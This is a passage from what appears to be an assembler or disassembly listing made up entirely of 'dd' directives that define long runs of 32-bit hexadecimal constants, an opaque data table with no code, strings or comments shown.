96D91h, 703C2B5Fh, 9047A2B6h, 2F856807h, 0FCF0FECBh dd 73F407Dh, 4D419610h, 46665056h, 6900135Ch, 157B3021h dd 38457EABh, 0A44CA876h, 31EE2D0Bh, 2F002654h, 34F12EE7h dd 0F03500DEh, 0F432DB33h, 0F83CDF37h, 0A6DA1E28h, 0A8DC003Eh dd 0B0E435F6h, 0EB3D00EEh, 0BD5FC3B7h, 0E74CCC09h, 125D07A4h dd 9770A36Ah, 45487Ch, 4F657B70h, 47D4437Ah, 0E9EFF003h dd 908731B6h, 1837A6CFh, 40E2518Bh, 1700CCDFh, 55B703A5h dd 7A15DBCh, 0B571AF48h, 0C0059537h, 0CC1D9004h, 4A2920h dd 0C820B6AEh, 0C61EB499h, 23B9971Ch, 26BC9A80h, 0FC09FBEh dd 0F545922Ah, 0C213BD03h, 0B4D480E5h, 1D00C728h, 24CE108Ch dd 17A25685h, 588E68h, 510E2E04h, 0D201318Bh, 57BD7903h dd 6420E273h, 97180CD5h, 0FBD94D24h, 78F848h, 4189CF16h dd 3A232DCDh, 0A816B2FCh, 0C3F01C74h, 8E53D6D1h, 8BFFD4F8h dd 60B2091Fh, 50166242h, 40F44007h, 97352E39h, 0A6088094h dd 869EBD48h, 0F8CB7C00h, 0C70C70A4h, 286D0142h, 5847A66Ch dd 4379DCB9h, 9E404D0Fh, 0B83F60F5h, 25BC78h, 3DA36C97h dd 70070A2Eh, 4E9BC114h, 42FA70ECh, 60C3E430h, 336FD8h dd 258B3DE1h, 68DADD90h, 66C40C03h, 0E58D42AAh, 29462481h dd 0D1769040h, 9C2100C8h, 5155FF60h, 1400E118h, 0AD579E01h dd 0F29DF9h, 9CB6D424h, 204DDAE6h, 21FB807h, 5D0AD45h dd 16A148h, 6D825B18h, 7E99702Ch, 7B621E00h, 0E9F29E1Dh dd 0B90A00A0h, 42123468h, 0BC1CFA6Ch, 0DCC0EE04h, 52E8E2B5h dd 0ECEB0E6Ah, 45027A56h, 28401D89h, 0DB0015A8h, 6B8AB1DAh dd 28BD3967h, 6B4D76Fh, 0A8345B1Dh, 38071154h, 0B8D90B71h dd 787E3AC0h, 823E3B5Fh, 0B44834D8h, 30B9313h, 110D89C4h dd 7833C9E8h, 54434703h, 8396390Ch, 399A0E8h, 466200C8h dd 9D2E8EB0h, 827A55FCh, 8B8A3200h, 847E39CFh, 0B06C00ABh dd 0F7F48859h, 27006A9Eh, 0A05B21D5h, 3F9BCF47h, 0C00124C5h dd 0C7FB2DBEh, 0FDA0CFC2h, 64005185h, 3295C6A0h, 4F73367h dd 0CA6B8648h, 4D7AC08Bh, 0AF0010A8h, 0B6DE822h, 53318Ch dd 0A4A21658h, 5F40870Eh, 56036670h, 84D82482h, 89C8153h dd 6862DBE1h, 7F590077h, 3836C39Ah, 4300BA05h, 0A4B34AC1h dd 9A0665Bh, 6E2A86E3h, 0CA0E7301h, 828ACC7Ah, 0E9901A0Fh dd 69AA80F8h, 798554ADh, 6A6C00E2h, 8D4BDBD4h, 721FAC8Ch dd 0BBC03676h, 29A3FB3Ch, 968450A5h, 0CB873AA9h, 80015B13h dd 47F1AD64h, 0BB51C964h, 167210C8h, 40C84FB6h, 9C58BD0Ch dd 6B7EAA45h, 5BC15601h, 6DB1469Fh, 5CBFF0CBh, 0BC4900A0h dd 0CA161754h, 60C092C4h, 4D1E10FEh, 1DC27E85h, 69A87A4h dd 20EE6CB0h, 0EAC911C5h, 1C1F1816h, 0FFF651C0h, 90938F94h dd 96E200EBh, 0FCF13BB1h, 5000DF36h, 0CFD20A17h, 19C8BE8h dd 0CB54CA89h, 0C18092C2h, 0FFE18007h, 2C98185h, 1F82ECB2h dd 0ABFD578h, 8B67Fh, 0B23AD388h, 0E109D183h, 604CF30Fh dd 1C1CB30h, 2264B792h, 0D054BBEAh, 2E3BB9E4h, 0B0343080h dd 0EB38Dh, 6C641503h, 1BE5775Ah, 1900FC7Ch, 92C3A66h dd 0AFB66Dh, 910492D9h, 0C1DF47F5h, 31D88C16h, 2DA54B00h dd 5D1E632h, 7F9FA0Dh, 5AE2C05Dh, 2200FC47h, 0A44564CBh dd 17877DDh, 0B3492E44h, 0C0269DC2h, 1771852Ah, 7B57F603h dd 80D5E50Fh, 728DF41h, 26DC6C4Bh, 0C4DE5006h, 89009773h dd 8C760DEBh, 0CA758Ah, 4918B0FDh, 4C1BC006h, 80AF643Fh dd 937A958h, 13C0510h, 2D8DB02Ch, 81A27733h, 0BBCB90F9h dd 4D44597h, 0CC3F158Eh, 0E715BC03h, 0F73CE8EBh, 0BE3CC801h dd 0A606CD3Fh, 76060A21h, 2113431h, 5763CC7Eh, 1C879683h dd 0B2E7E340h, 6E0D110Eh, 3813667Ch, 869A5081h, 11436077h dd 9D3386B0h, 250B520h, 0D43EB230h, 0E0134B19h, 0E5B51Ah dd 0D836D62Dh, 0D1801E4Eh, 9A00327Eh, 523FD48h, 294467Bh dd 13C50B91h, 7D006F9Dh, 264D0B0h, 927FA29Bh, 0CC601E54h dd 0B4144779h, 68450EBh, 36C0B51Bh, 783A9060h, 311D3717h dd 0F1A93610h, 96FD5100h, 0A2EF75BCh, 0E55A01ADh, 0F74AB699h dd 16CE093h, 4148950Eh, 69AB81F6h, 56E07ED7h, 0B7A203FEh dd 0B1A8D372h, 0B0738EA0h, 9BF16300h, 30E25397h, 0FC67009Fh dd 0F361B17Ch, 6303BB9Eh, 71BA95E4h, 0FEB6F9F7h, 8C38B8E2h dd 0F1A6F070h, 181895D2h, 0A9A40891h, 0B0C1F1F0h, 0BC990643h dd 30C470h, 93FD7098h, 808E4C91h, 0F16DBA03h, 0C0529D7Fh dd 667C075h, 0FE967902h, 0DD1ED1D2h, 0E10D9C85h, 0B83C38A0h dd 190401A9h, 56C39DFh dd 92DBDD83h, 0A993C840h, 179836D8h, 1E5138Bh, 0B080941Eh dd 0C84094FFh, 0F3637EFCh, 0C1619A18h, 8427F43h, 0BD584049h dd 38E20ECDh, 8D254E7Ah, 472C01E5h, 213C1794h, 0DF0C1900h dd 1A0C8847h, 0FD305E6Fh, 394D1983h, 7BA05862h, 83D520F3h dd 40C2DA43h, 4B4998DEh, 0E9403074h, 0D534F859h, 9ADE78A8h dd 31584C51h, 0E8580EA3h, 7EB0A7F4h, 21BF1F43h, 0B300D6CFh dd 78B83005h, 249CFE4Eh, 83CC53B4h, 5ABF9BD3h, 0F3112803h dd 0A5918794h, 90CF1C87h, 898209C8h, 6072612Bh, 1D0BB3B8h dd 0A33174Fh, 0F0C4B82h, 99095730h, 0CD18FC20h, 0B0982879h dd 0E21DD898h, 110A4BB9h, 48020CEDh, 683B120Dh, 60E5BB14h dd 5181B12Fh, 153D188h, 22A4A264h, 0F0615F0Bh, 88C5497h dd 0B848D9BCh, 0F685B310h, 2F649331h, 0F0A159F2h, 4DBD9268h dd 0E089E6F8h, 938E5491h, 48089859h, 8640B57Bh, 4B14C19Ch dd 0DF8C6919h, 0E48C5322h, 0A8F3EFF0h, 7C138726h, 8449984Ch dd 0FD22A490h, 1665AA8h, 0C58D7E68h, 0B25185A3h, 88331B02h dd 0ACE04C98h, 84586450h, 94849898h, 0AD140C5h, 77BBE042h dd 0F90C4650h, 55802814h, 850C99D1h, 8C02BCDFh, 0C590515Fh dd 0DA4C5104h, 8A808899h, 0F430F8E0h, 2F85BD10h, 409426FEh dd 6054B924h, 0AEE80584h, 28F2288Dh, 0A39F5180h, 29170C99h dd 0C1C9545Fh, 0C20C9FEEh, 0A03E3935h, 861F31A8h, 802814F9h dd 0C99D187h, 0D5771185h, 889C6AACh, 0C510F586h, 278DB1D9h dd 5890C8A0h, 9D12BE53h, 144257B4h, 2BDD840Fh, 7D768410h dd 2350BE8Ah, 3BE0DA57h, 65120E08h, 36F7513Fh, 0E7F881A8h dd 54799865h, 305FD835h, 89D95824h, 2C9A4C54h, 1AF2F9A1h dd 0DA4669ECh, 16EC07F9h, 9A021025h, 2CAB9566h, 757840ACh dd 9F11F92Ah, 0DC080531h, 840E83A3h, 180157FBh, 0FF2D98E0h dd 70BAC0BBh, 59445C3Eh, 3650D5F8h, 308AE59Ch, 2342C33Ch dd 0E8C8B807h, 7C9E3CA3h, 0F2C80648h, 0E03CD8A8h, 0BE4E0B62h dd 1205088Fh, 20103009h, 9A50C31Ch, 87707FBh, 300B5F52h dd 0E3704075h, 5BA0A00h, 1811B1ECh, 0C5C90219h, 0A9A6547Fh dd 0D396D480h, 0BF0048C4h, 0B1FDD85Fh, 19D843Ah, 435EB80Ah dd 8E0D306Fh, 0E086BC69h, 8F325312h, 0B1D5004Ah, 667B472Ch dd 0A0955818h, 449CD784h, 2EC0729h, 0B3439F14h, 3388D6E7h dd 5F04A18Bh, 86576E19h, 17FE3CD0h, 729AC0F5h, 76564CBAh dd 3043D4Dh, 4452F460h, 3E6C90B8h, 0DC902FDh, 8B57DAB5h dd 89C0208Fh, 6B7D7FA1h, 0CA69A609h, 791C9018h, 0DBA80B53h dd 0D490E7D2h, 5700ABAFh, 0CFBE7AEFh, 798C959Ah, 1F0F0144h dd 0A06B99DAh, 743231h, 16A19164h, 0F26E1789h, 0C219C013h dd 0D988470Dh, 97A41C00h, 0BDED80E6h, 0CA430328h, 1DE86C82h dd 2E5FB0BFh, 0CC00361Ah, 93ECC98Bh, 2AA80Bh, 0C0FF3FEEh dd 6084F30Fh, 0A9AD9D14h, 233100D0h, 0A890BA5Eh, 2C4C3A64h dd 0C1170D98h, 8EA918Dh, 0B29F89C0h, 3BA0C4Bh, 9E1B34F4h dd 29383677h, 4EDD835Ch, 0C56D855h, 0A48357F2h, 0EB06F349h dd 5C77F1ABh, 0D62C0031h, 17937F7Ah, 8900BD1Eh, 65C347B1h dd 7AEDEC9h, 7744F4A2h, 7500B84Bh, 0ED67F769h, 382207B2h dd 80798CADh, 3FE8480Fh, 0D7358D01h, 9ED603C8h, 71346E0h dd 0FC5B2C96h, 0E5748342h, 0E6136E0h, 5C28997Ch, 913E14B7h dd 87FA0037h, 0A977A3E3h, 89060064h, 0A0D5666Eh, 1E382B63h dd 9BEC80B7h, 600FA474h, 574200BDh, 6E960731h, 52006FD8h dd 0CBB718E7h, 0FDFB968h, 54A5E98Ah, 0BD6293A1h, 0F73F841h dd 79A0C60Ch, 0A1820E3h, 6B335A2Bh, 0E2887A20h, 70CE4120h dd 7E00E211h, 86F3B42h, 0E34DA0D8h, 0D1E5A300h, 3D40DAh dd 89935422h, 0AB03CDEh, 7485B8CBh, 0D3CD03F2h, 0DF88EC80h dd 5560A07Dh, 4B482341h, 30967234h, 0A8CCFC2h, 0D5003C81h dd 0EA5F3F6Eh, 1D66BB99h, 8A48DCAAh, 3088A4F2h, 9213840h dd 6F877A01h, 6ED8CDE2h, 4AA0A041h, 0C0D9619Eh, 3EC85D1Dh dd 5BE84484h, 48FF5000h, 0CC18126Eh, 0D1AD3078h, 0A48EA2E0h dd 0E0E8E207h, 28FC68FFh, 0F6CA0733h, 0C13CE7CBh, 8128D4DFh dd 21184D18h, 0BBC13A43h, 0A1D79180h, 0BF4077A6h, 381C070Ch dd 0C0D10887h, 0A699FE21h, 4B3DD7B9h, 88D381F8h, 4E589D6Ch dd 479FB888h, 0A209C298h, 7DA30049h, 0DCD733A4h, 873706E7h dd 3C405942h, 0C640186Fh, 39579F11h, 0A62A3Dh, 6CB2B4F2h dd 7A79A22h, 0FD27945Fh, 0EB7AF047h, 0A800C22Ch, 0A116A09Ch dd 0C0CA013Bh, 501E25A9h, 1200E206h, 43F99C0h, 0E3C8288h dd 7BDDE95Ah, 852D1F17h, 2036E8CFh, 0B0D04088h, 1B114460h dd 0CA25217h, 0F62B0EE1h, 4A024298h, 50F0AF59h, 65C5404Fh dd 0B3DF0076h, 0C5C19C8h, 1600788Eh, 0BF80449Eh, 976CFDh dd 10074738h, 2723B8FCh, 71416E00h, 2DF5A0B5h, 35C4A11Eh dd 0A6089C18h, 70974072h, 0A60094F9h, 0EB259B28h, 281E8A0Ah dd 209DF3h, 0B8ED011Dh, 0D2359307h, 6345A100h, 9973C676h dd 9B1101EBh, 41DB346Ch, 0CCA0E4B4h, 0E9B7D800h, 169DF282h dd 0C648C345h, 0F91BFAC7h, 0E0082ACCh, 3C2955ABh, 6B808A9Bh dd 5156E92Fh, 2B0008E5h, 0E188C869h, 0ECA56E9Ah, 20C905Ch dd 6A33A307h, 4220CDC6h, 60A049F2h, 28E1156h, 0A3E083DAh dd 1612759h, 0B3C25ECBh, 0CFC09733h, 49B8C084h, 44C005D1h dd 14ACA148h, 6A03E94h, 658CD56Ch, 951F0170h, 0CE2D76CAh dd 66F281B2h, 0B915FFB5h, 60AAF446h, 710389E7h, 6C0E9C7Ah dd 6C46DB64h, 0C0FC085Ch, 7A692421h, 0A0044F8h, 82F41774h dd 24986BBAh, 3CBCDB85h, 700CB73Ch, 0A310C255h, 0F1404413h dd 0E6AC2006h, 0CB951520h, 3800A01Bh, 0A13F0612h, 81B06713h dd 3066FB3Ah, 0A5B212Eh, 7A7F0006h, 0F79DA8CCh, 0E003AB1Ch dd 0CBC92324h, 0AD290F26h, 6FC0A3C1h, 8C9DC5A9h, 5E459207h dd 3554FC47h, 0F31378C0h, 0A20D0249h, 0C415703Dh, 0FCBA0461h dd 71005177h, 0FD245B4Fh, 320A80CFh, 99D18D6Ah, 6165890h dd 33A14311h, 5F973488h, 6D0BAF07h, 2AFF88F0h, 5C9C0356h dd 0A2950768h, 9CA2BA0h, 98E82737h, 0A3433B42h, 821451FCh dd 635C48C0h, 4122053Ch, 0C077398Fh, 723B9D90h, 0FFCC0F1Fh dd 0B401C681h, 68E08817h, 0B8E750F9h, 20549058h, 6E0919E8h dd 6FF4CDh, 0E3AD0F04h, 469F306Bh, 0DB3E6271h, 3FCC1201h dd 27C3BB3Ch, 403C08A4h, 2CDB3685h, 65CA94Ch, 1ECCD3AAh dd 11E401E9h, 103DFE76h, 0C1E43093h, 91C5C688h, 1502828h dd 0A1734C83h, 250CC06Ch, 60983104h, 0BA3ACA72h, 0E06E0018h dd 7F077738h, 4BA40359h, 2104CA3h, 0A2E6311Ch, 387EC070h dd 1497EE32h, 34E8C2C6h, 0B591990Eh, 51480012h, 351FEEA2h dd 850C8000h, 0D0BBF801h, 3055B8C0h, 0C51834DBh, 0DF01653Bh dd 61CE4969h, 0CAC4E044h, 0E434F101h, 1C48826Eh, 0A110C1D1h dd 49267267h, 48912E0h, 805F4024h, 687485EAh, 0C4E5F528h dd 9840CC82h, 517CF7EAh, 3BE35440h, 0F3344441h, 910C87D8h dd 0A0E488A0h, 6F568CC8h, 0DB4202D0h, 335FCC16h, 3A8940BCh dd 3CE2F4DBh, 7E03924Ah, 2DD241F6h, 0CCA7A3C0h, 91DECEB0h dd 0B4CD8F00h, 2CE1D63h, 0CFEA70DEh, 0F0602178h, 24339DA9h dd 76FAF06Ah, 3D048C88h, 37CC11DBh, 84205C62h, 2BDB35h dd 0CBB8F842h, 0C901FCE5h dd 7E000892h, 37811206h, 1EDC83A7h, 1C795E65h, 0E08C08Fh dd 0B50C931Eh, 80483830h, 275AB10h, 6EE31D7Ch, 18C0390Bh dd 520C9D2Dh, 59C80103h, 0CE7F006Fh, 4BC05E05h, 3C005399h dd 68E71AB2h, 2CB65AB7h, 826004F8h, 0A874A133h, 70A02848h dd 7B2F9D18h, 2A13B670h, 1FD020CCh, 0C29BC51Ch, 85D9EB1h dd 0EF8C5C40h, 787639C0h, 0A21F41h, 3390BB7Dh, 0FE020779h dd 0B12D100Fh, 46CE376h, 28304C0Bh, 93232048h, 3D061001h dd 0E03A1h, 7D060859h, 4D5B823h, 0CF57B4F5h, 42C4EFD3h dd 6EA8A490h, 0E0450C11h, 0F2E0875Ah, 8078A059h, 32390C6Dh dd 0B70B068Eh, 61199BAFh, 804CA11Dh, 686B4830h, 58BC49D5h dd 64A99B00h, 6EAF62F6h, 1840D938h, 0DC6020A5h, 0C67706A3h dd 30D801A0h, 4C2C1807h, 0A059D566h, 0FCB6B730h, 0CE0A0468h dd 90C6D0A3h, 4C84020h, 700BC0BAh, 1F34AB5h, 3F16B6F4h dd 45BAE1E6h, 8CE3D450h, 369229CEh, 0EFEBE220h, 1C021D30h dd 53C63EF6h, 0AC0854E5h, 0D44C674Ch, 0C0CDA6C4h, 0EC54C575h dd 0CB0AB100h, 5EB5AEC9h, 2350147Ch, 0F00804Ch, 783CB2F1h dd 49894B3h, 3483820h, 0D964A416h, 9803A0C9h, 709B7569h dd 0A3601DCEh, 0A1FC42B5h, 0B0A7A43Ch, 7E58E0C3h, 12A5AF2h dd 713FD0CBh, 0AA4A9E3Bh, 0FF051680h, 269DB56Eh, 0B9E6486h dd 0D48061ADh, 47A087AAh, 0DCCDEA18h, 0FCDF10h, 0C9C434D1h dd 1FF8F016h, 14426B38h, 169025CDh, 0C061972h, 73C9BE3h dd 0D2E11EA2h, 449F8216h, 83C868E1h, 0A0F7E289h, 0CC38153Fh dd 0E807943Ah, 10DA4A94h, 65A0CE6Bh, 1F8DC50h, 17204560h dd 5827A48h, 0A7C2B26Ch, 0F0C5C7C7h, 6EBDE53Dh, 0B4253000h dd 5B7D5C54h, 5E9D0042h, 69C17539h, 0AC0E7E7Bh, 0A76C2F56h dd 0BF402D50h, 352E4Fh, 593F65A8h, 7A3C3263h, 79DBB3Eh dd 7B5AAC7Ch, 2F5EC611h, 0E55AAC4h, 577E8234h, 8C28738Dh dd 623A4F11h, 78400E5Bh, 7CE058C0h, 2F3F5AADh, 0BE66BC3Fh dd 8F503B70h, 76BBB77h, 4280AC7Fh, 1A52BF81h, 0B85E4F79h dd 2F70435h, 406BA1A3h, 796CB440h, 5952B6FCh, 0B9D6C318h dd 0A110004Eh, 1398C2CBh, 5507994Dh, 0DC3AA9E1h, 917EBB31h dd 0F9E31880h, 77A64722h, 0C61EAA06h, 485C79h, 5F3FC7F2h dd 31A26135h, 0D40ACD0Fh, 98E580EAh, 0A8F458h, 5A0F1E40h dd 0A9E036CCh, 0DF850500h, 0F49615D5h, 0E517CA5h, 0DB0CFEECh dd 589782C0h, 300333Ch, 5E6EFC0h, 0C1779DEBh, 86DFF218h dd 6708F76h, 40EF0A0Eh, 555E7903h, 31D979DBh, 4F08C451h dd 1EF98CC6h, 0FAE5C047h, 897CA8A0h, 0F5110455h, 6DAA16D5h dd 602421E0h, 0D3D81037h, 153320EDh, 0D112684Dh, 8F01A80Eh dd 0BCDB004Ch, 54CC3059h, 0CD29E381h, 40A3C730h, 821348CBh dd 0D3D79C00h, 78C550A8h, 0D4457CF6h, 8C28BBE0h, 67A311AEh dd 0A81E69Bh, 3D8B261Dh, 8CB31588h, 0DDA75B00h, 65D858BCh dd 0F3E4D655h, 974711A8h, 30621D01h, 5DDF0532h, 86794442h dd 4948A948h, 3DC92825h, 2DE66415h, 4A6F0F09h, 0EF805FC9h dd 0E39E2357h, 0B200A2F8h, 56C69B7Ch, 3AE2F2Eh, 0AC6E3A6Bh dd 0BDC2385Eh, 715878CCh, 7C2D0B50h, 8F540FC0h, 0A21AE77Eh dd 6B3A5240h, 588F05BBh, 31996454h, 0EC524244h, 310A8615h dd 485E682h, 7010D961h, 0C4D84F1h, 344A0800h, 20C65072h dd 0F630A67Ch, 7C08A420h, 7C4B437Bh, 89E2FAA3h, 5D10A09Dh dd 0D53BD22h, 85F2910h, 115AB988h, 87C1227Eh, 5C910830h dd 1029A51Dh, 7483B44h, 8D1CB91h, 404B109Fh, 7140BD70h dd 7C9C9B8Dh, 81BD5A14h, 6311960Ch, 650908Ch, 9A961E31h dd 31506628h, 52440951h, 124C894Bh, 484E244Dh, 22589157h dd 535A4459h, 55125489h, 5F485624h, 61226091h, 0E0F76245h dd 39F0375h, 9D0F308Ch, 0C13F3996h, 7CB8657Eh, 0A54E842Ch dd 4354D604h, 0BCA08508h, 620398BEh, 5C7E034Fh, 0E378E39Fh dd 0C6E016E0h, 617A002Dh, 2498C150h, 0DCF8B3E8h, 26DB4F3Eh dd 643AC0D4h, 501FAB40h, 5F801E78h, 592DC300h, 0F050367Dh dd 6B824A6Eh, 443FF48h, 5FC9AAFFh, 45878859h, 4911A10Bh dd 0C217A711h, 38957CDEh, 81406760h, 0AE4D448Eh, 8C82310Ch dd 8AAC09ABh, 5F041808h, 0FC0077D5h, 0E4DD69B2h, 59820353h dd 5DCC7EE0h, 0BC36210Ah, 8055385Ah, 0AC1D0F6Eh, 0DD7D119Bh dd 0AB30577Ch, 83451879h, 628403DEh, 0E35B307Eh, 0D61C0FE5h dd 61F65680h, 9D29980Eh, 7117285Fh, 0AC1E4A9h, 863B9A8Bh dd 4EC3D641h, 717A0030h, 773E58ABh, 363E5CBBh, 3D900741h dd 3380B97Ch, 7D54BD6Ch, 50B8005Bh, 6BBB722Dh, 14A57530h dd 0C20C411Eh, 1FAD3051h, 47E3A55h, 6C3F50h, 68C1772Eh dd 0BA76003Eh, 814F6D5Ah, 0AAE6375Ch, 0C76B90C3h, 0E8188E6Ch dd 0A9760133h, 0AA823956h, 8067D35Eh, 69406E28h, 0E8AD7332h dd 0AB7B183Ch, 50C2786Ch, 2F314261h, 5985AD7Ch, 342B52ABh dd 7AA8200Ch, 5A3AC672h, 0CF0DE3Eh, 2F88A07Bh, 4FC12978h dd 0F2D280DCh, 5898B079h, 0CB305AF0h, 0FA194963h, 0A633173Bh dd 5E74B877h, 878090F2h, 0DC93F844h, 2E7A4A00h, 0E0BA0E78h dd 822F00EFh, 0DAD46135h, 973E6364h, 58A0058h, 0CEA2F40Eh dd 5A9B0C70h, 99717BCCh, 0B5002D75h, 5A3FA60h, 4DAE031h dd 0DF705E45h, 8E589069h, 56E89FDEh, 1FD8DFCh, 0DB1248D6h dd 4E511884h, 689DECCFh, 0D6308457h, 0F8223160h, 0C442BF3Ch dd 79DB2C03h, 50BA44A4h, 1210B40Dh, 0E6067B40h, 0FD310238h dd 0FA614F69h, 0B4185C44h, 0F7305C11h, 4779CF64h, 0D630AA6Ch dd 0D859EE60h, 6E8DABBh, 9A464D14h, 7C79405Dh, 332B680Ah dd 8211D061h, 0B3626488h, 0D39E302Eh, 0AF0CEA19h, 7EFBD530h dd 53C43E19h, 21DD68E0h, 0A42AFC45h, 7361A477h, 6FDFB8F1h dd 0F8A1DC56h, 29E31812h, 21B33154h, 52185F62h, 0CA4C8FF3h dd 842058E7h, 955F922h, 8A66CBA2h, 0F039180Dh, 0EF18F21Dh dd 0F7302AE8h, 187E6204h, 4C82225Dh, 5888C3DEh, 915998E8h dd 5D5FDB0Eh, 39BEF4A1h, 0BBD7BC05h, 0FEA423F9h, 4A242BE4h dd 0B810DB74h, 0C0B19D46h, 17A01229h, 0B9C85810h, 84C250ECh dd 0DB87842h, 43302A44h, 7AA4F77Dh, 46841328h, 81C5A108h dd 3821210Ah, 45C9A146h, 2184710Ah, 49F87CD8h, 0F4108573h dd 7C50908Ah, 7C87542h, 283E6845h, 8D76F111h, 5C2109D6h dd 0B0516C22h, 646059A4h, 0BC4CD0D1h, 51C0C83Ah, 0B3BEE54Fh dd 4011DA62h, 28CC8487h, 3A0F795h, 4751F35Eh, 50902248h dd 37273A19h, 4E26F78h, 0B6195D65h, 0A4350C48h, 7ECB118Ah dd 75DA634Ch, 20986148h, 0E454442Fh, 0F85B09C7h, 74C0482Ah dd 6EDA5594h, 0AEE21171h, 0E844EAD7h, 0DC54D624h, 496CA868h dd 0D5BC0EBFh, 4B4C4716h, 1F003E28h, 144D9F9Dh, 0F08F6C42h dd 7DA20093h, 4FBB7F1Ah, 0A358920Eh, 0B97003D0h, 0BA902D5Ah dd 14C0553Ch, 0A25C4069h, 7831001Ch, 4F1C5ABDh, 98DCB08Dh dd 404C3AFCh, 3E56A802h, 0D88E9F6Ch, 62F169Fh, 4067C7ECh dd 0F0F3B77Eh, 391436C3h, 9F40C16Dh, 3467AC85h, 5B3E10C0h dd 5851F88Bh, 3043E440h, 76379860h, 1CA65AADh, 7520357Dh dd 9D4F03BAh, 0AC7B3950h, 609A37A2h, 765034E5h, 705A67ACh dd 356D53ADh, 5C2E66A1h, 5195C118h, 3D2300CCh, 882E8F6Ah dd 0A2CAD57h, 0C4BB813Ah dd 0AB6D8207h, 8F92A3C0h, 7C38AC07h, 7941004Fh, 3A5199A3h dd 4AE9BF71h, 404714h, 80A3077Dh, 1D732241h, 123C5BC1h dd 0C30AF92h, 96A96887h, 0D455B0h, 0F4C97A2h, 1A4BA38Ch dd 38A963Eh, 6C928280h, 5AAAA024h, 13349838h, 5D813F41h dd 30AD1E00h, 2E9A5E28h, 98A349h, 7168C17Eh, 1359923Bh dd 1BA8782Dh, 28075040h, 76C7B4Fh, 80209A89h, 6BBAA36Ch dd 0EC7D4834h, 0C674506Ah, 91D36C6Eh, 84AE2C8Bh, 30841EACh dd 4A7890AEh, 90B26B2Bh, 89402F49h, 7B582779h, 3156ACA1h dd 0C18FA3EBh, 0D030C29Fh, 91BB3C82h, 54BF740Ch, 6A4CAD40h dd 697E00C0h, 9DAA7033h, 0AB763A24h, 8C106Ah, 59BF5455h dd 0C0167838h, 70042E56h, 0FCC32F5Eh, 0AE54C798h, 0C774A080h dd 0AA10C669h, 0B8246055h, 5837AC56h, 57C378B2h, 0B71FF06Ch dd 0BF5B3050h, 0C1B9CBC8h, 13D37534h, 0C67E7630h, 783EA11Ch dd 812B00ADh, 702D58C1h, 3E8F5BC3h, 0F852BE24h, 6C2B5083h dd 0D4EC9DC2h, 23678005h, 60987E6Bh, 0F72BF135h, 187492A8h dd 9D885AEh, 1C89C7F0h, 7664A457h, 5739E882h, 60F5A4EDh dd 0BD6C0EACh, 9B7EC4B2h, 2CB44258h, 9DE2E45Ah, 580C6C3Eh dd 0AB0B985Bh, 0DC093F6Dh, 9B7C2E75h, 406CE128h, 1C48C462h dd 93C9D18h, 0C4B0762Eh, 653EE4A5h, 0C0906C50h, 5C785873h dd 0A80E20AAh, 1B9F6AC1h, 50E369BBh, 0D1C272E1h, 1420722Eh dd 0B42CAD76h, 80CC3C87h, 4C70EE6Ch, 883334ACh, 0BDC82D58h dd 7F3E3850h, 80B066ABh, 18A15380h, 68125048h, 0FA1CF66Ah dd 70941ECh, 7D309235h, 1C859094h, 1882808Ah, 0C8035974h dd 0A88C2F01h, 4E7B395Ah, 404CF068h, 6AC60BA2h, 0D8026B2Fh dd 64E89F39h, 5A15C278h, 5B186C42h, 5041F834h, 980B3E7Eh dd 5D2D3AD0h, 177B2081h, 43756C6h, 0F0235A38h, 0C7FA3E44h dd 92395027h, 8ED4793Ch, 69808E5Bh, 56A87520h, 0C0762D07h dd 0AA824052h, 0C78CE047h, 0F83D4B5Eh, 9F1C0E30h, 94208FA7h dd 0C50589Ch, 213455A9h, 0AA870740h, 42723C6Bh, 507A3A56h dd 0C8606C4Bh, 0C26DA14Fh, 183C8D68h, 425EE0E1h, 3497AC80h dd 0ECB09D64h, 0E850BEAAh, 51055F34h, 90F7823Ah, 395EA605h dd 7BF0016Bh, 0D0368E90h, 3AF4AC8Ch, 687E8106h, 3217833h dd 2D69B66Ch, 34A2BD70h, 0E19DC884h, 0E0D9D230h, 0C2305E89h dd 97381A80h, 0C0A2E710h, 8D7B2D5Eh, 0C70DE8DFh, 607C285Ch dd 6B9B2474h, 0CDC201Ch, 51C77732h, 657FBB20h, 0E4BF8125h dd 2EB896FCh, 4A7DE5E0h, 21803CC4h, 9D74098Ch, 570FF8CCh dd 8DBA7534h, 888AD80Bh, 3ADCAD82h, 0D03C7E14h, 73D1D841h dd 13373BE0h, 1E54BD76h, 804D1404h, 4002BF39h, 3E726433h dd 4C69B085h, 0B8609DF0h, 991B502Fh, 28868FDCh, 0E9419DC3h dd 0A46C2F40h, 25DCA658h, 60AC5C79h, 242D6B30h, 3CD41833h dd 51AE247Fh, 0F4BF1444h, 3D6499D2h, 206A24F0h, 70300727h dd 813447C0h, 0CD3CF8AAh, 1C032E8h, 286C39F0h, 0EBBF18h dd 0A4F70AD6h, 0AA0E04h, 5193DFF6h, 0DB386135h, 9754C500h dd 6B8FFD58h, 0DDBC13E5h, 5EB0B4C3h, 0D2546A09h, 0ECDAF2h dd 8E682F7Dh, 0F60ED64Ch, 0AC86A14Fh, 85AF2058h, 90D2D400h dd 0E05898EBh, 96A9098Dh, 60F2E7FCh, 88AA4F05h, 203CA20Bh dd 4F84683h, 46A15B53h, 9D003CE9h, 0F6941205h, 5A192B0Eh dd 85081EFEh, 0D3B2180h, 0C1A3BC12h, 0F6B1F903h, 8863FD7h dd 7CA1EBF9h, 4CDA7005h, 0CAD89842h, 0FB4766Dh, 440C9AF4h dd 0E21BD908h, 1118460Dh, 17EF7C8h, 0C3DE76ABh, 985091BEh dd 659F4E69h, 0A9C6388Dh, 1E300E4h, 77A3B499h, 952115AAh dd 4C881C45h, 81DC2514h, 12B1E3D8h, 0CCBCA03Ah, 0BEA70506h dd 214ED5h, 3CFDF391h, 87AFBB32h, 1B009B70h, 0EBF0CD75h dd 50C978DAh, 0A15D4E5h, 0BD07695h, 0B87080FCh, 1DD9A3F4h dd 0ED5E600h, 63D82A67h, 0DE7724A6h, 62435400h, 0F20EC842h dd 33004EC7h, 440D0661h, 201C0356h, 4EE32A60h, 31F481B8h dd 0B11DFE1Ch, 79C0AA9Dh, 0E8741DDAh, 0B87C6CBFh, 0DF527010h dd 0CB5A0FD8h, 0FCCC95B5h, 0A2B54642h, 0F3C439B8h, 2C80F7CAh dd 0A59E407Eh, 7F60E703h, 3338DF4Bh, 99214808h, 324E9EA8h dd 6D119A00h, 7905B2E5h, 0B347185Eh, 902FE151h, 0D808BC01h dd 0D05F99A9h, 640830CFh, 0BC888D21h, 9B490503h, 9883943Fh dd 0A22F5E9h, 507821E5h, 22D420E8h, 93006F47h, 5C3B39BCh dd 